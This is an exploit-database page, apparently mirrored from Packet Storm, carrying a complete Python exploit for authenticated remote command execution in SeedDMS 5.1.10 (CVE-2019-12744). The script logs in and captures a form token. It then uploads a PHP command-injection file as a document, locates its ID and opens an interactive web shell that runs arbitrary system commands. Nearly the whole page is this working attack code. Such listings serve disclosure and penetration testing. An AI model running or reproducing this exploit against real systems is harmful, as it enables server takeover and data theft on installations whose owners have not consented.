Lucene search
K

Seeddms 5.1.10 Remote Command Execution

🗓️ 25 Jun 2021 00:00:00Reported by Bryan LeongType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 425 Views

Seeddms 5.1.10 Remote Command Execution (RCE) on Windows 7 x6

Related
Code
`# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)   
# Date: 25/06/2021  
# Exploit Author: Bryan Leong <NobodyAtall>  
# Vendor Homepage: https://www.seeddms.org/index.php?id=2  
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/  
# Version: Seeddms 5.1.10  
# Tested on: Windows 7 x64  
# CVE: CVE-2019-12744  
  
import requests  
import argparse  
import sys  
import random  
import string  
from bs4 import BeautifulSoup  
from requests_toolbelt import MultipartEncoder  
  
def sysArgument():  
ap = argparse.ArgumentParser()  
  
ap.add_argument("-u", "--username", required=True, help="login username")  
ap.add_argument("-p", "--password", required=True, help="login password")  
ap.add_argument("--url", required=True, help="target URL Path")  
  
args = vars(ap.parse_args())  
  
return args['username'], args['password'], args['url']   
  
def login(sessionObj, username, password, url):  
loginPath = "/op/op.Login.php"   
url += loginPath  
  
postData = {  
'login': username,  
'pwd': password,  
'lang' : 'en_GB'  
}  
try:  
rsl = sessionObj.post(url, data=postData)  
  
if(rsl.status_code == 200):  
if "Error signing in. User ID or password incorrect." in rsl.text:  
print("[!] Incorrect Credential.")  
else:  
print("[*] Login Successful.")   
print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])  
return sessionObj   
  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj  
  
def formTokenCapturing(sessionObj, url):  
path = "/out/out.AddDocument.php?folderid=1&showtree=1"  
url += path  
formToken = ""  
  
try:   
rsl = sessionObj.get(url)  
  
if(rsl.status_code == 200):  
print("[*] Captured Form Token.")  
  
#extracting form token  
soup = BeautifulSoup(rsl.text,'html.parser')  
form1 = soup.findAll("form", {"id": "form1"})  
  
soup = BeautifulSoup(str(form1[0]),'html.parser')  
formToken = soup.find("input", {"name": "formtoken"})   
print("[*] Form Token: " + formToken.attrs['value'])  
  
return sessionObj, formToken.attrs['value']  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj, formToken  
  
def uploadingPHP(sessionObj, url, formToken):  
path = "/op/op.AddDocument.php"  
url += path  
  
#generating random name  
letters = string.ascii_lowercase  
rand_name = ''.join(random.choice(letters) for i in range(20))  
  
#POST Data  
payload = {  
'formtoken' : formToken,  
'folderid' : '1',  
'showtree' : '1',  
'name' : rand_name,  
'comment' : '',  
'keywords' : '',  
'sequence' : '2',  
'presetexpdate' : 'never',  
'expdate' : '',  
'ownerid' : '1',  
'reqversion' : '1',  
'userfile[]' : (  
'%s.php' % (rand_name),   
open('phpCmdInjection.php', 'rb'),   
'application/x-httpd-php'  
),  
'version_comment' : ''  
}  
  
multiPartEncodedData = MultipartEncoder(payload)  
  
try:   
rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})  
  
if(rsl.status_code == 200):  
print("[*] Command Injection PHP Code Uploaded.")  
print("[*] Name in Document Content Shows: " + rand_name)  
  
return sessionObj, rand_name  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
  
  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj, rand_name  
  
def getDocID(sessionObj, url, docName):  
path = "/out/out.ViewFolder.php?folderid=1"  
url += path  
  
try:   
rsl = sessionObj.get(url)  
  
if(rsl.status_code == 200):  
#searching & extracting document id storing payload  
soup = BeautifulSoup(rsl.text,'html.parser')  
viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})  
  
soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')  
rowsDoc = soup.findAll("tr", {"class": "table-row-document"})   
  
for i in range(len(rowsDoc)):  
soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')  
tdExtracted = soup.findAll("td")   
  
foundDocName = tdExtracted[1].contents[0].contents[0]  
  
#when document name matched uploaded document name  
if(foundDocName == docName):  
print("[*] Found Payload Document Name. Extracting Document ID...")  
tmp = tdExtracted[1].contents[0].attrs['href'].split('?')  
docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')  
  
print("[*] Document ID: " + docID)  
  
return sessionObj, docID  
  
#after loops & still unable to find matched uploaded Document Name  
print("[!] Unable to find document ID.")  
sys.exit(0)  
  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj  
  
def shell(sessionObj, url, docID):  
#remove the directory /seeddms-5.1.x  
splitUrl = url.split('/')  
remLastDir = splitUrl[:-1]  
  
url = ""  
#recontruct url  
for text in remLastDir:  
url += text + "/"  
  
#path storing uploaded php code  
path = "/data/1048576/%s/1.php" % docID  
url += path  
  
#checking does the uploaded php exists?  
rsl = sessionObj.get(url)  
  
if(rsl.status_code == 200):  
print("[*] PHP Script Exist!")  
print("[*] Injecting some shell command.")  
  
#1st test injecting whoami command  
data = {  
'cmd' : 'whoami'  
}  
  
rsl = sessionObj.post(url, data=data)  
  
if(rsl.text != ""):  
print("[*] There's response from the PHP script!")  
print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))  
  
print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")  
#start shell iteration  
while(True):  
cmd = input("[Seeddms Shell]$ ")  
  
if(cmd == ".exit"):  
print("[*] Exiting shell.")  
sys.exit(0)  
  
data = {  
'cmd' : cmd  
}  
  
rsl = sessionObj.post(url, data=data)  
print(rsl.text.replace("<pre>", "").replace("</pre>", ""))  
  
else:  
print("[!] No response from PHP script. Something went wrong.")  
sys.exit(0)  
  
else:  
print("[!] PHP Script Not Found!!")  
print(rsl.status_code)  
sys.exit(0)  
  
  
  
  
def main():   
username, password, url = sysArgument()  
  
sessionObj = requests.Session()   
  
#getting session token from logging in   
sessionObj = login(sessionObj, username, password, url)  
  
#capturing form token for adding document  
sessionObj, formToken = formTokenCapturing(sessionObj, url)  
  
#uploading php code for system command injection  
sessionObj, docName = uploadingPHP(sessionObj, url, formToken)  
  
#getting document id  
sessionObj, docID = getDocID(sessionObj, url, docName)  
  
#spawning shell to exec system Command  
shell(sessionObj, url, docID)  
  
if __name__ == "__main__":  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation